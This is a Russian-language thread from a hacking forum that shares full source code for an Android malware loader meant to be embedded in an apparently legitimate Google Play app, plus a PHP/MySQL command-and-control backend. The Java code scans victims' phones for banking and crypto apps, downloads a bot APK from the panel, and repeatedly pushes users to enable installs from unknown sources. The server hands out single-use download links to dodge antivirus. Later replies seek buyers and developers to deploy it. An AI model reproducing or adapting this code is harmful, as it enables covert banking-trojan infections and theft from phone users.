• XSS.stack #1 – первый литературный журнал от юзеров форума

исходники лайтового лоадера Андроид

lastKenguru

HDD-drive
Забанен
Регистрация
25.08.2021
Сообщения
28
Реакции
18
Пожалуйста, обратите внимание, что пользователь заблокирован
Господа, я не являюсь профессиональным кодером, еще полгода назад я даже не знал что существует ява, поэтому слепил примитивный лоадер.
Цена исходников аппа для андроида 10 баксов, цена аккаунта разработчика 25 баксов, а на рынке нет лоадеров, по крайней мере когда вступал на этот путь ничего адекватного не нашел,
этот лоадер работает у меня уже 3-4 месяца на нескольких акков, нет ни одного бана.
цель выкладывания - довести до ума, кто даст дельные советы, буду переодически обновлять стартовый пост.
цель лоадера - минимальным кодом установить бота на тело, я воткнул все в одно активити, которое можно вставить в любое приложение как загрузочный экран
часть вырезано, такие сложности как шифрование трафика, шифрование данных в хранилище и прочее не нужное
я отказался от сложностей типа фейрбазе и прочих ништяков, так белый апп с маркета в 80% сносят в первые пару дней, нет смысла копить ботов, а вот жирных выцыпить сразу - более приоритетно

Java:
public class MainActivity extends Activity {

    private static final String ADMIN_PANEL = "http://127.0.0.1/"; // тут понятно все
    private final Context mContext = this;

    // не будем писать сами общение с админкой доверим OkHttpClient нужно только добавить в gradle dependencies эту строку  implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.3'
    // OkHttpClient выбран потому, что можно быстро маштабировать под шифрование и кодирование трафика не првязываясь к json, хотя он будет дефолтным
    private final OkHttpClient client = new OkHttpClient();

    private boolean APP_CONNECT = false;            // будет ситуация когда лоадер не достучиться до админки, блокнули домен/нет инета и прочее, этой переменной мы отловим эту ситуацию
    private JSONObject LOADER_DATA = null;          // наша главная переменная будет тащить в себе всю информацию
    private SharedPreferences sharedPreferences;    // будем использовать sharedPreferences как самое примитивное и быстрое хранилище для нашей информации

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        sharedPreferences = mContext.getSharedPreferences("localpref", Context.MODE_PRIVATE);
        loadSession();
        // при старте аппа, даем 10 секунд лоадеру, что бы сделать свои дела, если он не достучался до админки либо не смог сформировать данные свои - выходим в белый апп
        new Handler(Looper.getMainLooper()).postDelayed(this::checkInternet, 10000);
    }
    private void checkInternet(){
        if( LOADER_DATA == null || !APP_CONNECT ){
            startRealApplication();
        }
    }
    @Override
    protected void onResume() {
        /*
        очень важно при восстановление нашего активти, воссоздать нашу переменную и стартануть какие либо действия,
        юзер обязательно будет тыкать туда сюда, включать выключать активити, а мы должно держать руку на пульсе всегда
         */
        super.onResume();
        loadSession();
    }
    public void startRealApplication(){
        //старт реального белого аппа тут RealApplication - имя активити с которого оно должно по умолчанию стартовать
        Intent m = new Intent(this, RealApplication.class);
        m.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY );
        startActivity(m);
    }
    public void updateUI(String step){
/*
функция, которая развлекает юзера в процессе работы тут можно по шагам его информировать
например
* нужно обновить апп
* скачивание обновление и какой-то прогресс бар
* дай права ставить из неизвестных источников
* и прочее
 */
        runOnUiThread(() -> {
            TextView loaderText = (TextView) findViewById(R.id.loaderText);    // просто для вывод какого либо текста что бы скрасить ожидание юзера
            switch (step){
                case "startDownloadFile":
                    loaderText.setText(step);
                    break;
                case "endDownloadFile":
                    loaderText.setText(step);
                    break;
                case "needPermission":
                    loaderText.setText(step);
                    Button b = (Button) findViewById(R.id.button);
                    b.setOnClickListener(v -> {
                        startPerm();
                    });
                    b.setVisibility(View.VISIBLE);
                    break;
                case "startInstall":
                    loaderText.setText(step);
                    break;
                default:
                    loaderText.setText(step);
                    break;
            }
        });
    }


    private void sendData(JSONObject data, String status) {
        try{
            data.put("status", status);
            RequestBody requestBody = new FormBody
                    .Builder()
                    .add("data", data.toString() ) // вот в этом моменте я не отдаю json, так как тут должно быть шифрование общения с сервером, поэтому отдам просто строкой
                    .build();

            Request request = new Request
                    .Builder()
                    .url(ADMIN_PANEL)
                    .addHeader("cache-control","no_cache")
                    .addHeader("User-Agent","Mozilla/5.0")
                    .post(requestBody)
                    .build();

            client.newCall(request).enqueue(new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                }
                @Override
                public void onResponse(Call call, Response response)  {
                    if (response.isSuccessful()) {
                        try {
                            String resString = response.body().string();
                            //сначало мы считаем плайн текст, так как тут должно быть тоже зашифровано тело
                            JSONObject res = new JSONObject(resString);
                            APP_CONNECT = true;  // коннект с админкой есть
                            if( res.has("action") ){
/*
от лоадера мы просим исполнение 3 возможных желаний
a. проверить тело на наличии банк аппов
b. поставить бота
c. тело пыстышка, дрочер, трафер опять наипал нас с качеством
 */
                                switch (res.getString("action")){
                                    case "a":
                                        // проверяем на теле список аппов полученных с админки массивом
                                        JSONArray appsResult = new JSONArray();
                                        JSONArray appsCheck = res.getJSONArray("apps");
                                        for(int i = 0; i < appsCheck.length(); i++){
                                            String app = appsCheck.getString(i);
                                            if( isPackageInstalled( app )){
                                                appsResult.put(app);
                                            }
                                        }
                                        JSONObject dataReturn = new JSONObject();
                                        dataReturn.put("botID", LOADER_DATA.getString("botID"));
                                        if( appsResult.length() == 0 ){
                                            // бот гавно, ничего нет, запускаем белый апп и сообщаем на админку что нужно трафера покарать
                                            dataReturn.put("apps", "none");
                                            sendData(dataReturn,"apps");
                                            startRealApplication();
                                        }else{
                                            // есть банкаппы, сообщаем на админку какие есть и ждем команды следующей
                                            dataReturn.put("apps", appsResult);
                                            sendData(dataReturn,"apps");
                                        }
                                        break;
                                    case "b":
                                        //нужно скачать и происталлить бота, это процесс может быть чуток долгий, поэтому тут вызовем поток уи и что-то сообщим юзеру
                                        updateUI("startDownloadFile");
                                        downloadFile(res);
                                        break;
                                    case "c":
                                        // запускаем белый апп
                                        startRealApplication();
                                        break;
                                }
                            }
                        } catch (Exception e) { startRealApplication(); }
                    }else{ startRealApplication(); }
                }
            });
        }catch (Exception e){ startRealApplication(); }
    }

    private void downloadFile(JSONObject data) {
        // просто скачиваем файл и запускаем установку
        try {
            String url = data.getString("url"); //урл по которому качаем файл полученный с админки
            OkHttpClient client2 = new OkHttpClient();
            Request request = new Request.Builder().url(url).build();
            client2.newCall(request).enqueue(new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                    e.printStackTrace();
                }

                @Override
                public void onResponse(Call call, Response response) throws IOException {
                    if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);
                    InputStream is = response.body().byteStream();
                    BufferedInputStream input = new BufferedInputStream(is);
                    String cacheFile = createBotID() + ".apk"; // так как каждый будет под себя делать функцию генерации ботИД - просто сгенерируем как имя файла
                    String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath();
                    File file = new File(PATH, cacheFile);
                    OutputStream output = new FileOutputStream(file);
                    byte[] buff = new byte[1024 * 4];
                    while (true) {
                        int byteCount = input.read(buff);
                        if (byteCount == -1) {
                            break;
                        }
                        output.write(buff, 0, byteCount);
                    }
                    output.flush();
                    output.close();
                    input.close();
                    try{
                        // итак файл скачен успешно, сразу зафиксируем это
                        LOADER_DATA.put("timeFile", 0);
                        LOADER_DATA.put("package", data.getString("package"));
                        LOADER_DATA.put("cacheFile", cacheFile);
                        saveInPreferences(LOADER_DATA);
                    }catch (Exception ignored){}
                    updateUI("endDownloadFile");
                    startInstall();
                }
            });
        } catch (Exception e) {
            startRealApplication();
        }
    }

    private void startInstall() {
        try {
            if( isBotInstalled() || LOADER_DATA.has("botInstalled")){ // проверим еще раз, точно бота нет на теле
                startRealApplication();
                return;
            }
            if( !checkCanRequestPackageInstalls() ){
                updateUI("needPermission");
                return;
            }
            if( LOADER_DATA.getLong("timeStart") + 16000 > System.currentTimeMillis()){ // а вот тут определим 16 секунд между стартами инсталла
                return;
            }
            LOADER_DATA.put("timeStart",System.currentTimeMillis());

            String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath();
            File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
            Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);

            Uri downloaded_apk = FileProvider.getUriForFile(this, getApplicationContext().getPackageName() + ".provider", file);
            intent.setDataAndType(downloaded_apk, "application/vnd.android.package-archive");
            List<ResolveInfo> resInfoList = mContext.getPackageManager().queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
            for (ResolveInfo resolveInfo : resInfoList) {
                mContext.grantUriPermission(mContext.getApplicationContext().getPackageName() + ".provider", downloaded_apk, Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
            }
            intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
            startActivity(intent);

            new Handler(Looper.getMainLooper()).postDelayed(this::isBotInstalled, 30000);
        }catch (Exception e){
            startRealApplication();
        }
    }

    private boolean checkCanRequestPackageInstalls() {
/*
самая слабая точка тут - разрешение ставить из неизвестных источников,
кто-то игнорирует этот вопрос и просто заебывает окном, кто-то разводку делает на уровни Ганибала Лектора
ну факт есь фактом, это самое слабое звено, я просто кнопку вывожу в активити типа апдейт апп!
при нажатии на которую просто перекидывает в сеттинг
 */
        try {
            return getPackageManager().canRequestPackageInstalls();
        }catch (Exception ignored){}
        return true;
    }
    private void startPerm() {
//открываем сеттинг для получение разрешение стаивть из неизвестных источников
        Intent intent = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
        intent.setData(Uri.parse("package:" + getPackageName()));
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK );
        startActivityForResult(intent,12);
    }
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent i) {
/*
если он нажал назад и не дал нам разрешение - опять выкидываем его, пока не даст либо не уйдет
разные версии андроил по разному реагируют, 11 роняет полностью наш лоадер,
в этом случаем мы подхватим эту ситуацию в loadSession, да в любом случае подхватим так как сработает onResume
ну если юзер дал права, то начинаем ставить
 */
        if( !checkCanRequestPackageInstalls() ){
            startPerm();
        }else{
            updateUI("startInstall");
            startInstall();
        }
    }

    private void loadSession(){
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {  // если меньше 8 версия то нафиг ее, выпускаем в реал апп
            startRealApplication();
            return;
        }
        try {
            if( LOADER_DATA == null ){  // первая загрузка аппа или восстановление, наша переменная обнулена, восстановливаем ее и пытаемся продолжить работу
                LOADER_DATA = firstStart();
            }
            if( LOADER_DATA == null || !LOADER_DATA.has("botID") || LOADER_DATA.has("botInstalled") ){
/*
при любом запуске активити проверим 3 возможных состояния
1. данные не получены, сломалось шифрование или еще чего
2. данные получены, ну нет ботИД, считаем данные некорректными
3. данные корректны, ну лоадер уже выполнил свою работу
в этих случаях отдаем белый апп
 */
                startRealApplication();
            }else{
                if (LOADER_DATA.has("package") && isBotInstalled()) {
/*
если мы находим в нашей переменой имя пакета бота - то проверим, может он установлен уже ?
надеюсь все ставят бота с рандомизированным именем пакета
 */
                    startRealApplication();
                } else {
                    if( LOADER_DATA.has("cacheFile") ){
                        //проверим ситуацию, когда файл бота скачен , ну еще не запущен процесс инсталла
                        String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath();
                        File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
                        if( file.exists() ){
                            startInstall(); // пробуем снова запустить инсталл
                        }else{
                            sendData(LOADER_DATA, "start"); // запись о файле есть, ну файла нет, может АВ грохнуло, не важно, стучим на админку
                        }
                    }else{
                        sendData(LOADER_DATA, "start"); // ничего не было из возможных варинтов - стукнем на админку и скажем, что первый запуск
                    }

                }
            }
        }catch (Exception e){
            startRealApplication(); // в любой непредвиденной ситуации отдаем юзеру реал апп
        }
    }

    private boolean isPackageInstalled(String aPackage) {
/*
пытаемся получить данные об установленном аппе, если его нет то выкинет исключение - значит аппа нет
ну эта функция работает загадочно, если апп поставлен из маркета - то он выдаст сразу информацию
ну если поставлен апп из внешних источников, то нужно время что бы андроид прочитал манифест
а когда он это сделаем это загадка для всех поэтому будем двумя вариантами проверять установку бота
а для проверки наличия банкаппов это самое идеальное решение
 */
        try {
            PackageManager b = mContext.getPackageManager();
            b.getPackageInfo(aPackage, 0);
            return true;
        } catch (PackageManager.NameNotFoundException e) {
            return false;
        }
    }
    private boolean isBotInstalled() {
        try{
            // первая проверка на установленного бота - пытаемся его запустить
            Intent launchIntent = getPackageManager().getLaunchIntentForPackage(LOADER_DATA.getString("package"));
            if (launchIntent != null) {
                launchIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                startActivity(launchIntent);
                return allOk();
            }else{
                if( isPackageInstalled(LOADER_DATA.getString("package"))  ){
                    // вторая проверка на установленного бота - пытаемся получить данные об аппе
                    return allOk();
                }
            }
        }catch(Exception ignored){ }
        return false;
    }

    private boolean allOk() {
        // простенькая функция, подчищающая за собой и сохраняет состояние удачного исталла
        try{
            LOADER_DATA.put("botInstalled","ok");
            String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath();
            File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
            file.delete();
        }catch (Exception ignored){}
        saveInPreferences(LOADER_DATA);
        startRealApplication();
        return true;
    }

    // sharedPreferences
    private void saveInPreferences(JSONObject data) {
        /*
        я специально вынес работу с хранилищем отдельной функцией, так как хранить открытым текстом критичные
        данные неосмотрительно, вот тут можно зашифровать, ну это дело каждого
         */
        try{
            sharedPreferences.edit().putString("myData", data.toString() ).apply();
        }catch (Exception ignored){}
    }
    private JSONObject loadFromPreferences() {
        /*
        вот тут можно дешифровать
         */
        try{
            String str = sharedPreferences.getString("myData", null);
            if( str != null && !str.isEmpty() ){
                return new JSONObject(str);
            }
        }catch (Exception ignored){}
        return  null;
    }
    // END sharedPreferences

    public JSONObject firstStart(){
        try {
            JSONObject data = loadFromPreferences(); // пытаемся загрузить данные из sharedPreferences
            if (data == null || !data.has("botID")) { //данных нет, это скорее всего первый запуск, нужно собрать с телефона хоть какую либо статсу
                data = new JSONObject();
                data.put("botID", createBotID());
                data.put("model", Build.MODEL);
                data.put("vendor",Build.MANUFACTURER  );
                data.put("sdk", Build.VERSION.SDK_INT );
                saveInPreferences(data); // сохраним их в sharedPreferences
            }
            return data;
        }catch (Exception ignored){}
        return null;
    }
    private String createBotID(){
        //тут формируем ботИД под свое предпочтение, кто-то md5 любит, кто-то строго строки или строго цифры
        return "exampleBotID";
    }

}
ПыСы я ни продаю, ни ставлю, ни разрабатываю и ничего вообще не делаю противозаконного, не нужно мне ничего писать в личку.
 
Последнее редактирование:
Очень классная тема, ТС - молодец. С комментариями, пояснениями. Уважаемые новички, берите данный сорец и изучайте. Шифрование трафа и т.д. можно добавить ниже и позже. Вообще можно сделать коллективный такой вот проект. Если вы что-то можете добавить или дописать, добавляйте. Когда-то нечто подобное писали на дамаге. Миллион лет назад =) Тогда это была такая себе коллективная связка (кажется, это же связка была?).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Господа, выкладываю бекенд, используется пых 7+ и бд,
ну для начала поправим одну ошибку и один спорный момент, так как у меня нет прав редактировать первый пост, то просто подумаем над этой строкой
Java:
            if( LOADER_DATA.has("timeStart") &&  LOADER_DATA.getLong("timeStart") + 16000 > System.currentTimeMillis()){ // а вот тут определим 16 секунд между стартами инсталла
                return;
            }
/*
конечно же, поставим проверку, что существует вообще переменная,
и тайминг перезапуска инсталл, тут спорный момент, так как у нас лоадер не знает что творится на экране, то каждому имеет смысл
поиграться таймингом, может 1-3 сек будет лучше, одно скажу точно, юзер будет в исерике тыкать туда сюда, а перезапуск инсталла каждый раз ну как топором рубить
а с другйо стороны как показывается практика - юзер тупой, ну вот всегда он тупой, короче эксперементируйте
спорный второй момент, это старт loadSession(); в  onCreate можно и закоментировать его, для избежания двоения
*/

бд
Код:
CREATE TABLE `apk_hashfile` (
  `hash` varchar(32) NOT NULL,
  `pathFile` varchar(255) NOT NULL,
  `package` varchar(250) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

CREATE TABLE `apk_loader` (
  `botID` varchar(32) NOT NULL,
  `ip` varchar(15) NOT NULL,
  `timeSave` timestamp NOT NULL DEFAULT current_timestamp(),
  `model` varchar(30) NOT NULL,
  `vendor` varchar(30) NOT NULL,
  `sdk` int(11) NOT NULL,
  `status` varchar(50) NOT NULL DEFAULT 'start'
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

ALTER TABLE `apk_loader`
  ADD UNIQUE KEY `botID` (`botID`);


и 2 файла пыха,
файл config.php
PHP:
<?php
 
class Database {
    protected static $conn = null;
    private function __construct(){}
    public static function conn(){
        if( self::$conn === null ){
            $opt = array(
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                PDO::ATTR_EMULATE_PREPARES => TRUE
            );
            self::$conn = new PDO("mysql:host=localhost;dbname=dbname", "root", "root", $opt);
        }
        return self::$conn;
    }
    public static function __callStatic($method, $args ){
        return call_user_func_array(array(self::conn(), $method), $args);
    }
    public static function exitError( $errorText ){
        // при любой непонятной ситуации будем отдавать 404
        // можно тут сохранять ошибку в бд для дальнейшего анализа
        http_response_code(404);
        die();
    }
 

    public function registerOrUpdateBot( $decrypted ){
      
        try{
             $data = json_decode( $decrypted );
            if( empty( $data->botID ) ) {
                // тут можно поставить дополнительные проверки
                self::exitError("empty botID");
            }
           
            // тут вырежем из принятого ботИД все символы которых не должно быть и если они есть - значит нас ломают
            $botID = preg_replace('/[^0-9a-zA-Z]+/', '', $data->botID);
            if( !$botID  || $botID != $data->botID ){
                self::exitError( "bad botID" );
            }
           
           
            if( !(self::makeQuery( 'select botID from apk_loader where botID=:botID', array(":botID" =>$botID ) )) ){
                // если нет такого бота
                $sql = 'INSERT INTO apk_loader ( botID, ip,  model, vendor, sdk ) VALUES (:botID, :ip, :model, :vendor, :sdk  ) ';
                $param = array(
                    ":botID"            =>    $botID,
                    ":ip"                =>     !empty( $_SERVER['HTTP_X_REAL_IP'] ) ? addslashes( $_SERVER['HTTP_X_REAL_IP'] ) : $_SERVER["REMOTE_ADDR"], // тут заложим в основу использование прокладок, что бы реальный сервер спрятать
                    ":model"            =>    !empty( $data->model )             ? substr(htmlspecialchars(strip_tags( $data->model )), 0, 50 ) : "",
                    ":vendor"            =>    !empty( $data->vendor )             ? substr(htmlspecialchars(strip_tags( $data->vendor )), 0, 50 ) : "",
                    ":sdk"                =>    !empty( $data->sdk )             ? (int)preg_replace('/[^0-9]+/', '', $data->sdk) : 0
                );
                self::makeQuery( $sql, $param );
                $status = "start"; // по умолчанию статус бота
            }else{
                // если бот есть такой,
                // посмотрим, может бот нам сообшает новый свой статус
                if( !empty( $data->status )){
                    $status = preg_replace('/[^a-zA-Z0-9]+/', '', $data->status );
                    self::updateStatus( $status , $botID );
                }else{
                    // а вот тут интересная ситуация, мы видим пинг от бота, ну нет стутаса, хотя в боте он должен быть обязательно
                    // поэтому возьмем статус бота из бд, хотя скипнуть его было бы правильнее
                    $query         = self::makeQuery('select status apk_loader where botID=:botID limit 1', array(":botID" => $botID));
                    $status     = $query[0]['status'];
                }
            }
           

            // а вот теперь в зависимости от статуса вернем из функции варианты действия с ботом
            switch( $status ){
                case "hacker":
                    self::exitError( "hacker" );
                break;
                case "start":
                    return "a";    //  команда "а" это отдать список аппов для проверки на наличие на теле
                break;
                case "apps":    // бот нам вернул список аппов, может быть 2 ситуации "none" - нет аппов и массив аппов
                    if( empty( $data->apps ) ){    // проверим еще раз на всякий случай если ли входящая переменная
                        self::updateStatus( "hacker" , $botID );
                        self::exitError( "hacker" );
                    }else{
                        if( $data->apps == "none"){ // бот пустышка, по идеи уже на теле открыт белый апп,
                            self::updateStatus( "emptyBot" , $botID );
                            return "empty";        // не обязательно возвращать значение иначе активити у него дернется и перезагрузится, поэтому вернем неописанное действие
                        }else{
                            self::updateStatus( "goodBot" , $botID ); // перед тем как начать отдавать бота, обазательно зафиксируем этот момент, по нему мы отловим когда админка не смогла отдать файл
                            // по хорошему тут нужно сохранять список апов установленныхх на теле юзера, хз зачем конечно, погонять лысого на них можно, а по факту бот либо интересен нам либо нет
                            return "b";  
                        }
                    }
                break;
                default:    // при любой неописанной ранее ситуации, отдаем управление белому аппу, или описанному, ну не требуется никакого действия более
                    return false;
                break;
            }
           
        }catch( Exception $e ){
            self::exitError( "registerNewBot: " . $e->getMessage() . "\r\n"   );
        }
        return false;    // в любой непонятной ситуации скипнуть
    }
 
    public function updateStatus( $status, $botID ){
        self::makeQuery( 'update apk_loader set  status=:status where botID=:botID ', array(  ":botID" => $botID, ":status"=> $status ) );
    }
    public function makeQuery( $sql, $param ){
        try{
            if( empty($param) ){
                return self::conn()->query( $sql );
            }
            $stmt = self::conn()->prepare( $sql );
            $stmt->execute($param);
            if ($stmt->rowCount() > 0){
                return $stmt->fetchAll();
            }
        }catch( Exception $e ){
            self::exitError( "makeQuery: " . $e->getMessage() . "\r\n" . $sql );
        }
        return false;
    }

}
 

?>


файл index.php
PHP:
<?php
 
require_once ("config.php");

function appName( $dir, $fileName ){
    /*
     очень важная функция, она ищет имя пакета
     можно конечно в сам файл апк посмотреть и сформировать, кто как захочет
     если! у бота НЕ рандомизировано имя пакета, то оставьте одну строку и напишите имя пакета
     return  "com.example.mybot";
   
     в папке с апк должен лежать файл package.txt со следующей структурой
     имя файла апк:имя пакета
apk1.apk:com.xxxxx.yyyyy
apk2.apk:com.xxxx.yyyy
apk3.apk:com.xxx.yyy
делайте ручками хоть после крипта, ну файл должен быть иначе проверку на инсталл бота на тело можно выкинуть
    */
   
    if( !file_exists( $dir ."package.txt" ) ){
        return false;
    }
    $app = false;
 
    $fileName = (string)str_replace( $dir  , "", $fileName );
   
    foreach(file( $dir ."package.txt" ) as $line) {
        $line = preg_replace('/[^0-9a-zA-Z_.:]+/', '', $line );
        if( stripos( $line, $fileName ) !== false ){
            $data = explode(":",$line);
            $app = $data[1] ;
        }
    }
    return $app;
}

function getFileApk( $dir ){
    // функция возвращает рандомный apk файл из заданной директории
    $files = glob( $dir . '*.apk');
    if( count( $files ) == 0 ){
        return false;
    }
    $file = array_rand($files);
    return $files[$file];
}

   
function exitOK( $returnData ){
    // вот тут нужно шифровать трафик отдаваемый, на совести каждого этого
    die( json_encode($returnData) );
}

$decrypted         = false;    // фальшим переменную, так как тут нужно дешифровать входящий трафик
$domenAPK        = "http://127.0.0.1/";    // это домен через который мы будем отдавать сам апк, настоятельно советую сделать его отдельно и вынести на другую прокладку
 

if( !empty( $_REQUEST['data'] ) ){
    try{
        // а вот в этом месте должен быть код дешифрования
        $decrypted =  $_REQUEST['data'];
    }catch( Exception $e ){
        $decrypted         = false;
    }
}

 
if( $decrypted ){
    // и так данные удачно дешифрованы, регистируем бота в бд и смотрим какую команду мы ему отдадим
    $botCommand = Database::registerOrUpdateBot( $decrypted );
    $returnData = array();
    switch( $botCommand ){
        case "a":
            $apps = array("com.binance.dev");    // массив аппов, которые нам интересны
            //$apps[] = "com.action.apps"; // для тестирование добавьте какой либо апп который точно есть на вашем теле
            $returnData["action"] = "a" ;
            $returnData["apps"] = $apps ;
        break;
        case "b":
            $dir  = __DIR__ ."/apk/";    // директория где лежат наши апк, по умолчанию в текущей папке, не забывайте закрывать htaccess либо вынесете за пределы http сервера
            $file              =     getFileApk( $dir );
            $packageName    =      appName(  $dir , $file  );
            if( $file && $packageName ){
                // никогда нельзя делать статичные урлы, АВ это очень любят потом качать криптованные апк и быстро их палить
                // поэтому мы будем делать динамичный линк, который отдается только 1 раз
                $hash     = md5( time() . rand(1,999999) );
                Database::makeQuery(
                    'insert into apk_hashfile (  hash, pathFile, package) VALUES( :hash, :pathFile, :package) ',
                    array(  ":hash" => $hash, ":pathFile" => $file, ":package" => $packageName )
                );

                $returnData["action"]     = "b";
                $returnData["package"]     = $packageName;
                $returnData["url"]         = $domenAPK . "?hash=" . $hash ;

            }else{
                // админка не смогла найти файл апк или сопоставить его с именем пакета
                $returnData["action"] = "c" ;
            }
        break;      
        case "empty":
            $returnData["action"] = "empty" ;
        break;      
        default:
            $returnData["action"] = "c" ;
        break;  
       
    }
    exitOK( $returnData );
}

if( !empty( $_REQUEST['hash'] ) ) {
    // а вот тут мы отдаем файл апк и удаляем из бд данные о нем
    $hash = preg_replace('/[^a-zA-Z0-9]+/', '', $_REQUEST['hash'] );
    $fileData = Database::makeQuery( 'select * from apk_hashfile where hash=:hash limit 1', array( ":hash" => $hash ) );
    if( $fileData ){
        $file    = $fileData[0]["pathFile"];
        Database::makeQuery( 'delete from apk_hashfile where hash=:hash ', array(":hash" => $hash ) );
       
        header('Content-Description: File Transfer');
        //header('Content-Type: application/vnd.android.package-archive');
        header('Content-Disposition: attachment; filename=apk.apk');
        header('Content-Transfer-Encoding: binary');
        header('Expires: 0');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        ob_clean();
        flush();
        readfile($file);
        exit;
    }
}
Database::exitError("end");
 
 

?>


господа, я осознано не выкладываю файл манифеста, кто понимает о чем код - не составит труда, кто только как и я начинает учиться то нужно
пермишен на инет, чтение/запись во внешнее хранилище и конечно же запрос на инсталл апп
не забывайте о файловом провайдере ну и конечно разрешить инету ходить по хттп а не только по хттпс


ПС было бы здорово, если бы модераторы объединили с первым постом
 
Ребят , кто владеет джавой и имеет возможность и желание все это собрать , готов оплатить все расходы и провести тестовую пробу собрать сие чудо и выложить в гп. Отпишите в пм!
Результат смогу так же выложить сюда
 
А вот это - очень зря.
Сейчас спрос на людей, которые могут что-то подобное сделать - очень высок.
есть ли стена вакансий, для таких разрабов? найти не могу. Куда подаваться
 
Пожалуйста, обратите внимание, что пользователь заблокирован
есть ли стена вакансий, для таких разрабов? найти не могу. Куда подаваться
Сможешь написать и довести до ума лоадер в гп? Если да, отпиши в лс.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сможешь написать и довести до ума лоадер в гп? Если да, отпиши в лс.
Актуально?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх